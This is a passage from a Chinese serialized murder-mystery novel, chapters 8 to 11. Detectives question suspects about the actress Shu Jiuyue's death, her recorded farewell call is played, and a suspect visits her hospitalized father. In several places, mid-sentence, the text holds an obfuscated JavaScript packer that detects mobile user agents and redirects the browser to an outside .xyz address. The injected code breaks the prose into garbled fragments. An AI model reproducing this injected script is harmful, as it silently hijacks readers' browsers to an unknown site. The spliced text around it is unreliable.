“总之我只记得我没有去骚扰她，我怕她真的如传言所说的那么厌恶我，我本来就是一个胆子不大的人……我只记得是久月主动打电话给我，她打来的第一句话就跟我说‘对不起’……” 说到这里，尤奇的眼泪才真的掉下来。 在这密闭的空间里，李晓音生怕破坏了这恰到好处的诡异氛围，连呼吸都是小心翼翼的。 “当时我一句话都说不出来，只能做到捂着嘴继续听久月说话。” “她说了什么？”高琴眼看尤奇即将被情感矛头拉偏方向，说不定会就自己的心路历程来一篇3000字的小作文，于是开口将话题拉了回来。 尤奇哽咽着，声音比大户人家遗存下来的古迹围墙还要更加斑驳。 “我听错了，我根本就不知道她说了什么……我、我这几天老是幻听，老是在各种时候、在各种地点幻想她笑着跟我说话，所以我真的不确定这些话是不是她跟我说的……” “你听到什么了？” 尤奇把捂着脸的手掌拿开。 “她说……” —————— 木沐此时，恰好在检查舒久月的手机。 他发现舒久月保存了一段通话录音。 没有备注，只是被单独拉到一个收藏夹里面，显示时间是昨天的日期。 木沐点开这段录音—— ［对不起。］ ［尤奇，我的小奇……我真的非常非常抱歉。］ ［我知道是我重伤了你，也知道你大概再也不会主动跟我讲话了……没关系，本来就是我作恶在先，很高兴你还愿意接我的电话。］ ［我现在正在一个电影的杀青仪式现场。］ ［我是悄悄跑到厕所里给你打的电话。真的好像刚恋爱的高中生一样。］ ［……］ ［不是你见不得光，其本质是我太过龌龊。］ ［小奇，你很好，你真的太好了。］ ［我们彼此都知道，道歉是世界上最没有用的东西之一，因为它什么也弥补不了……但是如果我连道歉都没有办法给你的话，我就是死了，也是没有办法安息的。］ ［唉，你刚出道的时候我们就认识了吧？］ ［那个时候我刚经历完一件人生大事，整个人都是消沉的，镜头里外的我简直就像是人格分裂的教科书模板。我不敢跟任何人亲近，因为我身上藏着一个比蚁窝还要麻乱的秘密，我担心哪怕有一只蚂蚁逃窜出去，将巢穴的惨剧公之于众。］ ［可是你纵使看见了它，也从来都没有问过我。你的眼神永远都是那么让我安心，你永远都知道那块禁地的存在，并且微笑着绕开它、同时又保护着它不被别人发现。我真是不知道要怎么感谢你才好。］ ［我没有文化，只是偶尔会看一些书，但是也只限于一些通俗易懂小说和传记。每当有我不懂的地方时，你总是可以为我解释。］ ［怎么办呢？］ ［我是天生的演员。］ ［这个头衔半点都不值得我骄傲自满。］ ［我知道‘入戏’的意思，但是我时至今日也还是没弄懂‘真情’是什么东西。］ ［我从十几岁就开始唱歌、跳舞、演戏，人人都夸我领悟力高、有天赋。］ ［听到这些称赞本来是一件值得让人高兴的事情，但是我很难高兴起来。因为我之所以如此热爱演戏，就是因为我可以在戏里嘶吼出我现实当中不得不压抑住的情绪。］ ［我不开心。］ ［我清楚这些心结充其量也只能算是我的矫揉造作，可是我真的没有办法开心。］ ［我有很多次分不清楚戏里戏外，可是我们从来都没有同台演过戏，我们一直是真情实感的流露，对吗？］ ［直到520前夕，我都没有办法弄清楚自己的内心世界。］ ［万一我对你的爱都是我入戏太深演绎出来的呢？万一我以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357025|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为的双向奔赴其实是我的臆想呢？］ ［今天给你打这个电话之前，我曾对着镜子演练过很多版本的说辞。］ ［我甚至一度想要欺骗你。］ ［最终我还是下定决心，我不骗你，但是也请你不要追问我好不好？］ ［说来也是好笑，如今你连理都不想理我，我居然还幻想你会追问我问题。这大概是我最后一次跟你说这么多话了，今天过后，我一定不会再去打扰你。］ ［今天我应该七点多钟就可以回到家……你的指纹仍然可以开我的锁……］ ［我们之间如果一定要说是谁的错，那么错的人一定是我。］ ［早在当年我就应该和你断干净，而不是现在来祸害你。］ ［你愿意再信我一次吗？］ ［我真的爱你。］ ［对不起，我知道我不该在这种时候向你告白。这样会让你陷得更深……但是我忍不住，这是我最后的机会了……］ ［如果我真的是在演戏，那么我一定是角色本身。我再也出不去了。］ ［我求求你，及时止损。］ ［我求求你，把我从你心里挖出去、择干净。］ ［……我好想和你长相厮守，可是这个想法本身就如同白日做梦。我们都是梦中人，不愿意醒来，甚至是无法醒来的梦中人。］ ［尤奇，我要死了。］ ［我拒绝你的求婚，这是因为如果我答应下来的话，我死之后会有更多的阴谋论席卷你的人生。让我没有想到的是，我自认为对你伤害最小的做法，竟也对你造成了这么大的伤害。］ ［我真的不知道要怎么办了……事情越来越糟，越来越失控。它是一头不畏过年风俗的年兽，上古神兽……我快要被它吃掉了。］ ［你可不可以答应我，今天晚上来我家一趟？在我临死之前，我们一起想想，看有没有办法在不耽误你的前提下，尽量弥补一下这个黑洞。］ ［你不说话，我就当你答应了。］ ［我在家里等你。］ ［再见，小奇。］ —————— “这些，就是她对我说的话。” 尤奇浑浑噩噩的说完了他们通话的全部内容，耷拉着头痛哭。 “久月……久月她怎么可能对我说这些话呢？一定是我听错了……她怎么可能知道自己要死了呢……我当时都没有发现，这些居然是遗言……” 他哭着哭着，突然像恍然大悟一样，接近发疯般喊道：“我知道了！我知道凶手是谁了！” 高琴思量着尤奇精神分外不稳定的样子，为了探究更多情报，顺着他的话往下问：“请问凶手是谁呢，尤奇先生？” “我！就是我啊！警察同志，你们快点把我抓起来！”尤奇双手握拳举在胸前，一副认罪伏法的表情，神经质地念叨着：“该死的，一定是我，是我杀了久月……你们看啊，我有久月家的指纹，我可以开锁的……啊，一定是我失心疯了，警察同志，快把我抓起来，否则我一定会再次杀人的！警察同志，你们快点杀了我吧！我罪无可恕啊！” 8. 奇门凶杀案 高琴让助手给他倒杯凉水冷静一下，对尤奇说：“你先不要激动，案发时间你不在场，具体情况还要等我们再进行调查。” 尤奇似乎是完全没有听到高琴的话，还在念叨着，“不可能，凶手就是我……我一定是疯了，我怎么可以杀久月呢……” 高琴叹了口气，用哄孩子的语气安抚尤奇。 “你先冷静一下，你在案发时间没有接触过舒久月。如果你想找到杀害舒久月的凶手，就要配合警方进行调查，否则如果抓错了人，舒久月也难以明目不是吗？” 尤奇的理智似乎恢复了一点，他点头说：“对，对……我要配合警察……” “所以请告诉我，你和舒久月见面后的情况。” 助手倒了水进来，尤奇接过纸杯喝了一口。 “让我想想……因为我喝了酒，所以我没有开车，是打车去找久月的……然后，我记得我应该没有直接用指纹去开门，我是敲了门的……哦不过你们得去查一下，如果指纹解锁的地方没有我的指纹的话，就说明我还没有精神错乱。” 李晓音看了眼高琴。 她知道现场只有舒久月一个人的指纹，但尤奇是不知道的。 “请继续。”高琴说道。 “久月给我开了门……我们坐在客厅的沙发上，她给我倒了一杯水……” 尤奇看着自己手上的水杯，眼神里流露出思念的光晕。 “她说她用她的手段帮我拉拢了一些资源，她和她父亲手上的大部分资源也都转手给我了，让我的事业不至于完全垮掉，还有东山再起的机会。久月她……她昨天晚上发了微博，说我暗示求婚的那段话只是新剧里的台词，我艾特她也只是因为她答应了来出演这部剧，想做个宣传，只不过她忙忘了，出于演员对于绯闻的一级警戒而站出来澄清。 “当然会有很多人不信，但是经她这么一发文，与久月有关的各大资源连忙找了水军来帮腔作势，我的处境确实好转了一些。 “其实从昨天凌晨开始，风向就已经有变化的趋势了。今天是周五，还是假期，不出意外的话，在几个小时之内，关于我的流言就会变成两派——一派会认为我是无辜者，被莫名其妙的黑水泼了全身；另一派则会认为是我使用各种下作手段，威逼利诱久月发出第二条声明，久月试图反抗，然后被我杀之而后快。” 关于尤奇和舒久月见面后说了什么，高琴大概都能想到。 差不多该做收尾工作了。 “你和死者交谈的内容我大概清楚了。请你回忆一下，你昨天晚上和死者见面的时候，她有没有什么奇怪之处？” “奇怪之处啊……” 尤奇的黑眼圈很浓，像是好几晚都没有睡过觉。他揉着太阳穴，很努力地回忆当时舒久月家里的情况。 “噢，对了，她好像接了一通电话。” “什么电话？” “不知道，”尤奇摇摇头，“我当时没有多余的精力去管这些事，我只是看到她一见来电显示就匆匆忙跑到阳台上讲电话。她家阳台隔音挺好的，加之我近几天的耳鸣老是驱之不散，所以我完全没有听到她在跟谁打电话，又说了些什么。 “她打了十多分钟的电话吧，回到客厅的时候好像有点生气的样子，跟我说话也是心不在焉的……当时我心里也很乱，我想理一理到底是发生了什么事情，也想给彼此一点冷静的时间，所以我就离开了。” 李晓音做着记录，感觉隐隐约约好像漏掉了什么忘记问。 高琴的思路倒是一直在线。 “你再仔细想想，你确定你就这么离开了吗？” 尤奇又仔细想了想，最后肯定地说：“没有别的了，我记忆里只有这些东西……除非我真的精神失常了……” 李晓音想起来了。 是卧室里凌乱的床铺和只有舒久月一个人的体｜液。 高琴沿尤奇的逻辑链路理顺了，在他面前重复一遍，“你去找舒久月，你们二人聊了一会儿让你东山再起的事情，然后舒久月接到了一通电话，她接完电话回来，你就离开了——你确定是这样没错吗？” 尤奇双目无神地点了点头。 李晓音想，尤奇和舒久月两人的精神状态都差到如此程度了，他们好像也不太有可能去做那种事情……不过她从来没有谈过恋爱，唯一有可能成为男朋友的，也只有那个看似永远都长不大的张小元，所以她实在是没有办法模拟舒久月和尤奇当晚的心理状态。 高琴最后问孔小艺的问题在尤奇这里并不适用。 尤奇肯定认为舒久月是他心里最完美的人，而且根据他本人和孔小艺的描述，舒久月也并没有和他交底，所以尤奇并不会比孔小艺知道的更多。 高琴问出了李晓音可能永远都想不到的问题。 “最后一个问题——舒久月跟你说的最后一句话是什么？” “最、最后一句话？”尤奇面露疑惑地回忆了一会。 “我想一下啊……我记得好像是—— “［小奇，最后再相信我一次，不要回来了，如果你胆敢再折返回来，我绝对会彻底毁了你……找个人陪你喝酒吧，这是为了你好，真的有用……永别了，尤奇。］” “好的，我知道了，感谢你的配合。”高琴活动着肩膀站起来，“晓音，走了，下一个。” “哦，好。” 这次李晓音提前收拾好了东西，没有手忙脚乱，成功跟上了高琴极其迅速的脚步。 …… “冯二马到了吗？”高琴问外面的警员。 警员回答说：“到了，在刚刚孔小艺待的那间。” 高琴紧接着往那边走去，对身后的李晓音催促道：“快点跟上，这个应该很快就可以结束了。” “好嘞。” 李晓音抱着笔记本快走两步，紧跟着高琴进入了几十分钟前才走出来的审讯室。 —————— “高琴警官？” 冯二马的语气比孔小艺还云淡风轻得多。 说起来也没有什么问题，毕竟舒久月的死对于冯二马来说几乎没有任何影响。 “是我。”高琴回应冯二马。 冯二马问：“按照惯例， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李晓音脑子里一直转着舒久月家卧室里的情况。她想，冯二马倒是很像是能把现场都处理干净的人，而且冯二马在舒久月家里停留了接近一个小时，他出来的时候，楼道的监控录像里也没有拍到舒久月的身影。 ……还是不对。 既然冯二马可以做到如此完美地把现场的痕迹全部擦除，那么他就没有必要重返现场再杀舒久月一次了呀。 他完全可以直接杀死舒久月，然后把痕迹擦除，再把他来过的这段监控录像给替换了，为什么要画蛇添足地再来一次呢？ 而且不管是从他自己嘴里说出来的，还是警方探查到的情报里，李晓音都看不出来冯二马有哪怕是一点点的杀机。 杀意最大的孔小艺因为犯案时间严重不足，杀人的可能性极低；为情所困的尤奇如今神志不清，杀人的可能性也低；排除以上两位，现在不管是时间还是手段都跟得上的冯二马，居然连一点杀人动机都没有？ 李晓音用脚趾头想想都知道肯定是有人说了谎，要不然就是他们漏掉了什么关键性的线索，否则事态决计不可能演化成这种样子。 9. 奇门凶杀案 “我昨天来找舒久月，是因为我想写一篇以她为原型的演员成长传记，但是她看起来好像心事，回答完我的问题就变相赶我走了。” 高琴补充道：“还有，请你说一下你在案发时间，也就是昨天晚上11点到今天凌晨1点之间的行程。” “我那个点已经回到家了。”冯二马回答的很利落，“我在永生买的别墅在郊区，舒久月家则是在市中心。我出来的时候差不多9点半左右吧，回到家已经快11点了。我回家的路上似乎还走错了车道，过两天我还要去交罚单呢，这些交警那里应该都有记录。” 李晓音发觉审问好像陷入了僵局，冯二马三两句就带过了话题，需要问的问题都已经问得差不多了。可是令她没有想到的是，高琴却抛出了下面这个问题—— “舒久月给你倒水了吗？” “嗯……什么水，喝的吗？”冯二马也没有反应过来，“……倒了，一般家里来客人都会倒的吧……不知道您问这个问题的意思是？” 高琴没有回答，紧接着又问：“装水的杯子是什么样子的？” “我记得是纸杯……好像是蓝色的，上面有深绿色的竹子，貌似是群星MN公司用来宣传新剧的纸杯。” “纸杯里是白水还是茶水？” “茶水。” “杯子放在哪里？” “……她一开始是直接递给我的，最后是茶几上。” 李晓音想不起来现场的茶几上有没有放着纸杯。 她把思绪调回他们还在案发现场的时候……当时高琴和月栀酒对峙，高队长直接就坐到茶几上面去了，所以茶几上是没有任何东西的。 沙发旁边有一个透明玻璃矮桌，矮桌上倒是有一只外黑内蓝的茶盏，那里面泡着一小撮毛尖，盏内的茶水还剩下一半，但是盏边却没有嘴唇的手掌留下的痕迹。整只盏呆呆顿在矮桌上，像是从来没有被人碰过一样。 与矮桌距离不远的餐桌旁边有一只被打碎的玻璃杯，上面有舒久月留下的唇印和指纹。 高琴他们推测，可能是舒久月和某人打斗时推动了餐桌，导致水杯被掀翻在地。 李晓音想起来这些，抬眼看了眼冯二马。 假设冯二马真的是最后一位客人，那么最后留下的应该是在餐桌上的纸杯，而非在矮桌上的茶盏。就算是经历过大扫除，凶手将纸杯换成茶盏好像也没有什么太大的作用…… 李晓音的思绪与审讯室渐行渐远，险些就忘了做记录，还好高队长提问的声音把她给拽了回来。 “你记得是什么茶吗？” “让我想想……好像是龙井，也有可能是普洱熟茶，反正不是毛尖或太平猴魁。” 又是一个矛盾点。 冯二马没有坚定地回答上来某一种答案，而是回忆了好几种。 高琴略微有点困惑了。 这三个嫌疑人被问话的全程状态就算有些夸张，可也都不像是在说谎，为什么搜查出来的证据会和案发现场有如此明显的割裂感呢？ “舒久月给你添过水吗？” 冯二马对于前一天夜晚的事情已经开始有点忘了，回忆了片刻，突然像灵光乍现般拍了下大腿，“我想起来了，没有……我确定她给我泡的是普洱熟茶。当时我喝了两口，觉得味道太浓了，就没有继续喝，她也就没有给我续杯。” “好的，我知道了……你昨天晚上和死者最后一次见面的时候，她有什么奇怪之处吗？” 高琴没有问冯二马打斗和卧室痕迹的问题，而是转变了话风。因为这两个问题太过敏感，就算是问了，他们也没有办法得到具有参考性的答案。 “有啊，我刚刚已经说过了嘛。我上一次跟她见面的时候，她全程都心不在焉，看起来还有点着急，一直在反复确认时间，然后就把我赶走了。” “她昨天有没有跟你说过什么特别的话？就是那种，一听就不像是正常情况下的舒久月可以说出来的话。” “应该没有吧，她平常说话就有点抽象，而且话一多就容易偏题。再说了，舒久月最近应该挺累的，有哪里奇怪也挺正常的。” 冯二马边说边想，猛然间就如同再次灵光乍现一般，推翻了自己前一秒钟才刚刚说完的话，“……不过硬要说的话，还真有一句我觉得很奇怪的——她让我这几天多打电话给她。” “死者平常不会让你多跟她联系吗？” “不会，她和远山平常都不会说这种话，应该算是家庭教育的问题吧……她昨天跟我讲这句话时的，语气也并不像是在客套，而像是恳求我必须这么做一样。” 高琴轻轻碰了一下李晓音的手肘，示意她可以收工了，然后站起来对冯二马说：“好的，我的问题已经问完了，非常感谢你的配合。” ………… “高队，接下来我们要怎么办？”李晓音问。 高琴走进自己的办公室，在白板上梳理人物关系。 “现场那边还有人吗？” “有的，小华还在那边。” “让他问一下周围的邻居，看看昨天晚上有没有人听到舒久月家里起争执的声音，兴许可以找到一点线索。” “噢，这个问题我已经问过了……” 李晓音把笔记本放在桌子上，想着高琴说了这么多话，应该口渴了，于是拿出两个纸杯倒上温水。 高琴正在以舒久月为圆心，发散性画着她与嫌疑人的关系，听到李晓音的回答，转过头看向她。 李晓音将其中一杯温水递给高琴，说：“我让人问了舒久月同楼层的两户，还有楼上楼下各一户，他们都说案发时间之内，没有听到过舒久月与人争执的声音。” “不错嘛……”高琴转回去继续板书，随口道：“不过我记得你没有出去过案发现场，你是什么时候问的？” 李晓音神秘地笑了一下，“我让张小元走的时候顺带问了告诉我的。” “那他岂不是很容易赶不上月栀酒？”高琴没有愠怒的神情，继续理着人物关系，半开玩笑地说：“到时候月栀酒那边要是出了什么意外，咱们几个恐怕都得后悔一辈子……” “赶上了。”李晓音轻松地笑着说。 “你又知道？” “因为我有秘密武器呀，高队。” 高琴没有再询问，仔细想一下也就破解了李晓音的“秘密武器”是什么。 “那行，你发消息问一下张小元，月栀酒干什么去了？” —————— 木沐去月栀酒家里偷完了东西才想起来跟李晓音通风报信。 他前两天去局里报到的时候，李晓音就逮住他，跟他唠了半天。今天李晓音让他确定月栀酒是不是真的去局里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你可真会说话……其他老师也就算了，可是她不一样啊！她实力摆在那儿，无论我怎么做，她都会笑死我的。” “别瞎扯了，她才不会笑你呢，笑话你简直就是浪费她的时间……” 威妮娃笑着笑着，表情突然严肃起来，眼睛盯在木沐的双肩包上，食指竖在唇前，比了个“禁声”的手势。 木沐领会过来，也正色去翻找自己的双肩包…… 最后，他找出来一个纽扣大小的窃听器。 ………… 张小元坐在新款保时捷的后座，眼神不由自主的地在车内乱转。 他从来没有坐过光是看起来就这么贵的车，今天居然沾嫌疑人的光坐上了，心里不由得开始给这辆车估价。 100万？ 或许都买不到…… 这种事情，张小元也就只有在心里想想的份了。 月栀酒坐在副驾驶，他的右耳戴着一只迷你耳机，微长的棕色卷发遮住了耳朵，任谁也无法看见。他的嘴角一直若有若无地勾着，像是在听一首略微有些喜感的流行歌。 “居然这么快就被发现了……” 月栀酒小声念出来一句。 张小元没有听清他说了什么，背离开座椅去问他：“月先生，您刚刚是在跟我说话吗？” 月栀酒先是发现自己说漏了嘴，然后立刻抛给张小元一个毫无杀伤力的微笑。 “没有，我在自言自语，没想到这么快就到医院了，我还以为离得很远呢。” 张小元虽然“哦”了一声，靠回到皮质座椅上，但他总觉得月栀酒刚刚说的好像不是这一句。 司机倒是听清楚了月栀酒的话，但是他已经给月栀酒当了快20年的司机，当然知道什么该说、什么不该说。 10. 奇门凶杀案 司机把车子开进医院的地下车库。 月栀酒和张小元下了车，前者调开木沐发给他的具体病房位置，按了上楼的电梯。 “小张同志，你今天晚上要不要来我家吃饭啊？” 张小元知道月栀酒的意思是问他要跟多久，但是他也不太确定高队长要他跟多久，所以他只好假装听不懂的样子，跟月栀酒打太极。 “啊，那个到时候再说吧……我们分局附近新开了一家很好吃的快餐店，今天的晚饭要不然我请您到那儿去吃？” 叮—— 电梯到了。 月栀酒只是看着他笑笑，径直走进去按楼层的按键。 张小元悄悄吐了一口气，紧跟着钻进电梯里，躲在月栀酒的背后给李晓音发连环炮追问。 ［晓音姐，我要跟到什么时候啊？月先生好像有意想赶我走，问我要不要去他家吃晚饭。］ ［我怎么回啊？］ ［拜托拜托，帮我问一下高队。］ ［快回我，快回我！］ ［晓音姐，江湖救急！你快点回我啊！］ ［要命了，你再晚回一点就得给我收尸了啊！救命！我们这么多年的交情，你都不打算救我一下吗？］ ［求你了！］ 张小元手机都快要按冒烟了，却只得到李晓音不痛不痒的一句［等一下，忙着审人呢］，张小元气得差点没把手机给吞了。 电梯到了目标楼层，月栀酒看他一眼，张小元还没反应过来，还回去一个礼貌的微笑。 月栀酒有一种小学班主任看学生作弊时的无奈感，只轻声说了声“到了”，就走出电梯。 张小元恨不能找个地缝钻进去，也灰溜溜跟着他出去了。 他们的目标门派是1010号VIP病房。 这间病房是单人间，门没有关，里面除了病床上的舒远山之外，还有两个护工和一个看上去40多岁，不知道是做什么的男人。 月栀酒刚准备过去敲门的时候，张小元拉住了他，“等一下，月先生，咱们是去看望病人的。” “嗯，我没说不是啊。” “那咱们是不是应该带一点……” 张小元已经暗示得很明白了，但是月栀酒好像一点都没能理解。他们就这么在病房门口僵持了一会儿，最后还是在张小元准备直接公布答案的时候，他才终于想起来一样。 “噢，忘记带花了……这附近有花店吗？要买什么花来着？茉莉、百合可不可以？玫瑰应该不行，那好像是表白用的……” “月先生，就是说也不一定非要送花啦，送个果篮也是可以的，我看医院旁边就有卖的……” 月栀酒半嗔半笑地拍拍张小元的肩膀，“我跟你开玩笑的，你还真信啊？” 好在张小元的情商也不算太低，他立刻反应过来月栀酒是在反讽自己刚刚跟他打太极的事情，瞬间压力倍增。 他差点忘了，月栀酒是一个会心理学和玄学的富二代，这种生物根本就不能算是人类，更别提在他们面前耍小心思了。 月栀酒从口袋里拿出一个折叠起来的信封。 “什么花篮果篮的，你觉得舒远山稀罕哪个？里面可是站着两个护工和一个看起来就身价不低的人欸，我猜那个人多半是个经理……小张同志，一个50多岁重病在床的董事长先生是见惯了这些排场的，那些东西不仅不能帮我们拉近和老先生的关系，甚至还有可能起反向作用。” 张小元被他怼得不敢说话。 “去看老爹要带什么呀？” 月栀酒把信封展开，在张小元面前晃了晃。 那上面还有一颗粉红色火漆蜡烛封上的图案，显然是没有被开封过。 “当然是带他亲闺女的亲笔手书啊！” 张小元对于月栀酒的古怪还是有点难以习惯。 现在科技这么发达，还有几个人会写信呢？再说了，那个信封里面真的是舒久月的亲笔手书吗？且当他是真的，那么月栀酒又是从哪里弄来这种东西的？ 就算是他之前给舒久月做心理辅导时，舒久月给他的，但是他今天出门的原始目的不是去找舒久月呀，他为什么会贴身带着她的信呢？ 月栀酒看张小元愣在原地，问他：“还有问题没有？” 张小元自然是满肚子疑问，但是现在也不是问问题的时候，于是他很识趣地像拨浪鼓一样摇头。 “没、没有了。” “太好了，我们进去吧。” 月栀酒大步走到VIP单人病房门前，象征性地敲了敲本就大开着的房门，也不管是否有人理他，就闲庭信步地往里走去。 张小元跟在他后面很是手足无措。 人家刚死了女儿，在这种敏感时期，他们是不是有点太唐突了？ 他只见月栀酒把信封背在身后，边往里走边说：“伯父，我们是舒久月的朋友，今天特地来看看您的。” 舒远山的病床被升起来一半，他半躺在病床上，正专心致志地看着一本名家画集。 “伯父，您最近身体还好吗？我听说您最近病情有点恶化是不是啊？久月说好久没来看您了，但是她又太忙，抽不开身，只好拜托我们来看看您。” 病床旁边的中年男人拦在月栀酒和舒久月之间，张小元一看就知道这是一个常年在企业里和稀泥的老油条。 这人问：“你们是谁？有预约吗？和大小姐是什么关系？没有预约的话是不可以……” 舒远山错开中年男人的身躯，看清了月栀酒的脸后，把手上的画集倒盖在被子上，叫停了中年男人的问话。 “一发。” “诶，舒董。” “放他们过来。” “啊……哦，是。” 舒远山往常都不会允许陌生人近身，中年男人有点奇怪自家老板今天是怎么了？莫非他认识面前的这两个小伙子吗？ 但是他也不便多说，只是在心里思忖一番后，毫无破绽地换上了一张谄媚的笑脸。 月栀酒刚毕业的时候也学着做过生意，他最喜欢逗这种墙头草玩了，他通常只用给这一类型的人一丁点蝇头小利，他们便会完全忘记尊严和立场是什么东西，像哈巴狗一样摇尾巴。 “你们快把椅子拉过来给客人坐呀。” 舒远山对中年男人和护工说话的内容虽然是命令，但语气却格外温和。他脸上挂着戏剧效果一样和蔼的笑容，不用看也能看出，他是把微笑面具给揉到脸里了…… 中年男人把椅子拖到月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357028|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栀酒身边。 月栀酒又朝舒远山的方向拉近了一些，才利索地坐上去。 “舒老先生认得我？” 舒远山摘下老花眼镜，笑容非常标准，“你是月栀酒对吧？我听过你的名字，还远远的见过你几次……有传言说你不同寻常，而我也很喜欢跟能人异士交朋友，所以我一直很想跟你说说话，认识一下呢。” 月栀酒笑听着，可他从不记得自己有在哪里见过舒远山。 他本来就是个不太爱出门的人，更不常到社交场合行动，虽然看起来跟身边的每个人关系都还不错，但是跟每个人也都还算不上朋友。 尽管月栀酒对舒远山毫无印象，但是对方说听过他，远远的见过几面，勉强算是认识——这个说法就很巧妙了。他无从证实，也不想去验证。 “哎呀，那真是太失礼了，今天还是我第一次见您呢。” 舒远山看到月栀酒手上的信封，然后偏移了视线，“今天早上，有警察打电话过来跟我说舒久月死了。我身为一个父亲，居然连她的最后一面都没有见到……哎，舒久月也已经有大半个月没来看过我了，我也没有主动跟她打过电话，想来真是遗憾啊……” 张小元皱了一下眉，他总觉得哪里怪怪的，但是又说不上来是哪里奇怪。 “我已经‘两耳不闻窗外事’挺长时间了，不知道外面发展成什么样子，有了哪些变化，所以叫了人过来问问外面的情况……” 舒远山指着站在旁边中年男人，像是才看见他一样，异常客气地对他说：“一发，你傻站着干嘛？快坐呀。” 张小元终于知道是哪里不对了，舒远山叫中年男人都是只叫了名字，而叫舒久月却是连名带姓。 看来外界对于舒家父女并不亲近的传言是对的。 中年男人满脸堆笑地拖了把椅子过来，在坐下之前，他弯着腰，双手把自己的名片递给了月栀酒。 “你好你好，我叫张一发，这是我的名片。” 月栀酒把信封放在腰和座椅靠背之间，也双手接过名片，瞟了一眼上的文字。 ［张一发］ ［月圆娱乐有限公司总经理］ 舒远山对上了张一发的眼睛，后者立刻馁了下去，谄媚地笑容僵在脸上，呆呆坐在椅子上装死人不敢出声了。 月栀酒不知道舒远山对自己的了解到什么程度，所以也不好拿出自己某个身份的名片给他。 等一下。 月栀酒反应过来了，方才根本就不是张一发想要出风头才会过来给他递名片的……那根本就是舒远山的意思。 好家伙，敢情这两个老家伙是在他面前演双簧呢？真把他当籍籍无名的黄毛小子耍了？ 既然如此，他也不是很介意顺势而为、扮演好这个角色。 他装作很为难的样子，看似对张一发讲话，实际上眼神却若有若无地瞟向舒远山。 “不好意思啊张总经理，我只是一个无名小卒，没有名片……” 舒远山眼见月栀酒软硬不吃，嘴皮子还利索，无奈之下还是决定走入正题。 “小月先生，我知道你们年轻人是很不喜欢动不动就跑到医院来探病的，不知道你这次专程过来探望我，是给我带来了什么坏消息？” 11. 奇门凶杀案 “哈哈，舒老先生，您实在是太幽默了。不瞒您说，如果没有一点事情，我确实是没有闲情逸致来找你聊天的。” 月栀酒从身后把信封递给舒远山，“我曾经做过舒久月的心理医生，这是她托我转交给你的东西。” 舒远山接过信封，正当他准备把膝盖被子上的名家画集放到床头柜上时，月栀酒顺势拿走了画集。 “介意我看看吗？” “当然不。” 舒远山打开信封的同时，月栀酒也打开了画集，翻到刚刚舒远山聚精会神看着的那一页。 该画集的排版是，画家的个人信息及履历在画册左半面，而油画的内容本体则印在画册的右半边。 这幅油画的名字叫《小男孩的家》，发表时间为2024年年初，到今日已经获得了很多艺术类的奖项。 月栀酒翘起二郎腿。 他不懂绘画，但是他略懂一点绘画心理学。 这幅画的主体是一个大概三四岁左右的小男孩，他穿着深蓝色的背带裤，脸上挂着一副很奇怪的笑容。 整幅画作以蓝色和黑色为主基调，除了小男孩是写实的画风之外，其余的所有东西用的都是用抽象派画风画的。 在西方绘画心理学当中，蓝色代表安静祥和，而黑色代表恐惧、不安和罪恶。如果这两个颜色夹杂在一起，并且没有给人一种积极向上的感觉时，则寓意着遥远、谨慎、寒冷和忧郁。 小男孩的身后有一个很深的水库，在那旁边还站着一个比他略大一些的小女孩，按身高估算年纪大概在七八岁左右。 小女孩背对着画面，应该是在看水库里的某样东西。水库的后面则是一排排的小平房，那里约摸就是他们两人居住的村庄。 好无聊啊……月栀酒揉着眼睛。要不是为了观察外显像，他这个没有艺术细胞的俗人才不会主动去看什么画集呢。 这幅画的作者叫罗欢莱，是一个年仅27岁的女画家。 这个年纪能以如此奇特的画风出名，想必背后有不少的故事有待挖掘。但是月栀酒意兴阑珊，断定这个画家和他要调查的事情没有半毛钱关系，所以并不打算对此进行深挖探究。 他打着哈欠，斜眼偷看向舒远山。 坐在病床上的舒远山重新戴上老花眼镜，拆开了信件，从表情上看不出他的任何情绪变化。 张小元坐在旁边，觉得自己就是一个巨大的电灯泡。这些人神仙打架，他要是再不赶紧撤退的话，就该小鬼遭殃了。 可是李晓音那边到现在还是没有给他回复。 他现在是两边不受待见，只能两害相权取其轻，继续遵循领导的命令，死皮赖脸地像个跟屁虫一样待在月栀酒身边了…… 舒远山展开信封，里面的内容整整写满了一张信签纸的正反两面。他能看出来，这些文字全都是舒久月的笔记。 ［To老爸：］ ［这几天我遇到了一些事情，所以找了一个据说手法很奇妙的心理医师。］ ［他帮我处理完一些事情，我觉得心情好了一点。］ ［可是心理治疗就是这样的——治疗的时候感觉已经大好了，可是在回归现实之后，那巨大的落差只会让人感觉加剧烈的疼痛。］ ［我……其实我犹豫了好久，不知道要跟谁说，又要怎样说这件事情。］ 